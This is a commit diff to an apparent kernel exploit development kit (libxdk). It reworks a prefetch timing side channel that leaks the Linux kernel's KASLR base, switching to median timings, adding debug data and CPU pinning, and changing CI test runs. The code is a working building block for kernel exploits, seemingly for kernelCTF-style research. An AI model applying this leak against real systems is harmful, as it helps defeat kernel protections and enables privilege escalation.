fixup: improve edge detection (sequential tests, isolcpus)

Author: GJL

.github/workflows/test-libxdk.yml

@@ -104,7 +104,7 @@ jobs:
       - name: Test libxdk (QEMU)
         if: ${{ success() || failure() }}
         working-directory: ./libxdk
-        run: CUSTOM_MODULES_KEEP=1 timeout 20m ./run_tests.sh ${{ steps.vars.outputs.target }} 1 --tap
+        run: CUSTOM_MODULES_KEEP=1 timeout 20m ./run_tests.sh ${{ steps.vars.outputs.target }} 200 --tap
 
       - name: Move test results to separate dir
         if: ${{ success() || failure() }}

image_runner/run_vmlinuz.sh

@@ -89,12 +89,12 @@ if [ ! -z "$CUSTOM_MODULES_TAR" ]; then
     IDE_IDX=$((IDE_IDX+1))
 fi
 
-qemu-system-x86_64 -m 3.5G -nographic -nodefaults -no-reboot \
+taskset -c 2,3 qemu-system-x86_64 -m 3.5G -nographic -nodefaults -no-reboot \
     -enable-kvm -cpu host -smp cores=2 \
     -kernel $VMLINUZ \
     -initrd $SCRIPT_DIR/initramfs.cpio \
     -nic user,model=virtio-net-pci \
     $SERIAL_PORTS $QEMU_ARGS \
-    -append "console=ttyS0 panic=-1 oops=panic loadpin.enable=0 loadpin.enforce=0$EXTRA_CMDLINE init=/init -- $COMMANDS_TO_RUN"
+    -append "isolcpus=1 console=ttyS0 panic=-1 oops=panic loadpin.enable=0 loadpin.enforce=0$EXTRA_CMDLINE init=/init -- $COMMANDS_TO_RUN"
 
 stty sane 2>/dev/null || true

libxdk/include/xdk/util/pwn_utils.h

@@ -18,6 +18,8 @@
 
 #include <stdint.h>
 
+#include <vector>
+
 /**
  * @defgroup util_classes Utility Classes
  * @brief Helper classes for various utilities.
@@ -65,7 +67,8 @@ void pin_cpu(int cpu);
  *
  * @param samples The number of prefetch samples to collect per candidate address.
  * @param trials The number of addresses to collect for majority voting.
+ * @param debug_data Optional pointer to a vector to store debug timing data.
  * @return The kernel base address.
  * @throws ExpKitError if the address could not be leaked.
  */
-uint64_t leak_kaslr_base(int samples = 100, int trials = 3);
+uint64_t leak_kaslr_base(int samples = 100, int trials = 3, std::vector<std::vector<uint64_t>>* debug_data = nullptr);

libxdk/run_tests.sh

@@ -46,7 +46,7 @@ rm test_results/round_* test_results/dmesg_* 2>/dev/null || true
 
 echo "Running tests..."
 for i in $(seq 1 $TIMES); do
-    $SCRIPT_DIR/../image_runner/run.sh "$DISTRO" "$RELEASE_NAME" --custom-modules=keep --only-command-output --no-rootfs-update --dmesg=test_results/dmesg_$i.txt --qemu-args="-D test_results/debug_$i.txt -d int,cpu_reset,unimp,guest_errors" -- /test_runner --target-db test/artifacts/kernelctf.kxdb $TEST_RUNNER_ARGS > test_results/round_$i.txt &
+    $SCRIPT_DIR/../image_runner/run.sh "$DISTRO" "$RELEASE_NAME" --custom-modules=keep --only-command-output --no-rootfs-update --dmesg=test_results/dmesg_$i.txt --qemu-args="-D test_results/debug_$i.txt -d int,cpu_reset,unimp,guest_errors" -- taskset -c 1 /test_runner --target-db test/artifacts/kernelctf.kxdb $TEST_RUNNER_ARGS > test_results/round_$i.txt
 done
 
 wait

libxdk/test/tests/UtilsRuntimeTests.h

@@ -34,15 +34,25 @@ class UtilsRuntimeTests: public TestSuite {
     TEST_METHOD(leaksKaslrBase, "leaks KASLR base") {
         uint64_t expected = xdk_->KaslrLeak();
 
-        int total = 1000;
+        int total = 1;
         int incorrect = 0;
         for (int i = 0; i < total; i++) {
-            uint64_t actual = leak_kaslr_base();
+            std::vector<std::vector<uint64_t>> debug_data;
+            uint64_t actual = leak_kaslr_base(100, 7, &debug_data);
             if (actual != expected) {
                printf("Iteration: %d failed, expected %llx, got %llx\n", i, expected, actual);
+               
+               for (size_t trial = 0; trial < debug_data.size(); trial++) {
+                   const auto& timings = debug_data[trial];
+                   printf("Trial %lu timings:\n", trial);
+                   for (size_t slot = 0; slot < timings.size(); slot++) {
+                       printf("Slot %lx: %lu\n", 0xffffffff81000000 + slot * 0x200000, timings[slot]);
+                   }
+               }
+               
                incorrect++;
             }
         }
-        ASSERT_EQ(incorrect, 0);
+        ASSERT_EQ(0, incorrect);
     }
 };

libxdk/util/pwn_utils.cpp

@@ -24,6 +24,7 @@
 #include <iostream>
 #include <sys/syscall.h>
 #include <unistd.h>
+#include <immintrin.h>
 
 bool is_kaslr_base(uint64_t kbase_addr) {
     if ((kbase_addr & 0xFFFF0000000FFFFF) != 0xFFFF000000000000)
@@ -86,17 +87,13 @@ std::optional<uint64_t> try_find_edge(const std::vector<uint64_t>& timings) {
     }
     uint64_t threshold = max_diff / 2;
 
-    std::cout << "median: " << median << " threshold: " << threshold << std::endl;
-    for (size_t slot = 0; slot < timings.size(); slot++) {
-        printf("%lx: %lu \n", slot_to_addr(slot), timings[slot]);
-    }
-
     for (size_t slot = 0; slot < timings.size(); slot++) {
         uint64_t diff = abs_diff(timings[slot], median);
         if (diff >= threshold) {
             return slot;
         }
     }
+
     return std::nullopt;
 }
 
@@ -151,26 +148,31 @@ uint64_t sidechannel(uint64_t addr) {
     return delta;
 }
 
-std::optional<uint64_t> try_leak_kaslr_base(int samples) {
+std::pair<std::optional<uint64_t>, std::vector<uint64_t>> try_leak_kaslr_base(int samples) {
     size_t slots = (KASLR_END - KASLR_START) / KASLR_SLOT_SIZE;
-    std::vector<uint64_t> timings(slots, std::numeric_limits<uint64_t>::max());
+    std::vector<std::vector<uint64_t>> all_timings(slots);
+    for (auto& t : all_timings) {
+        t.reserve(samples);
+    }
 
     for (int i = 0; i < samples; i++) {
         for (size_t slot = 0; slot < slots; slot++) {
             uint64_t addr = slot_to_addr(slot);
-            syscall(104);
             uint64_t timing = sidechannel(addr);
-            if (timing < timings[slot]) {
-                timings[slot] = timing;
-            }
+            all_timings[slot].push_back(timing);
         }
     }
 
+    std::vector<uint64_t> timings(slots);
+    for (size_t slot = 0; slot < slots; slot++) {
+        timings[slot] = compute_median(all_timings[slot]);
+    }
+
     std::optional<size_t> slot = try_find_edge(timings);
     if (slot.has_value()) {
-        return slot_to_addr(*slot);
+        return {slot_to_addr(*slot), timings};
     }
-    return std::nullopt;
+    return {std::nullopt, timings};
 }
 
 std::optional<uint64_t> find_majority(const std::vector<std::optional<uint64_t>>& slots) {
@@ -205,11 +207,15 @@ std::optional<uint64_t> find_majority(const std::vector<std::optional<uint64_t>>
     return std::nullopt;
 }
 
-uint64_t leak_kaslr_base(int samples, int trials) {
+uint64_t leak_kaslr_base(int samples, int trials, std::vector<std::vector<uint64_t>>* debug_data) {
     std::vector<std::optional<uint64_t>> slots(trials);
     for (int attempt = 0; attempt < KASLR_MAX_ATTEMPTS; attempt++) {
         for (int trial = 0; trial < trials; trial++) {
-            slots[trial] = try_leak_kaslr_base(samples);
+            auto result = try_leak_kaslr_base(samples);
+            slots[trial] = result.first;
+            if (debug_data) {
+                 debug_data->push_back(result.second);
+            }
         }
         std::optional<uint64_t> slot = find_majority(slots);
         if (slot.has_value()) {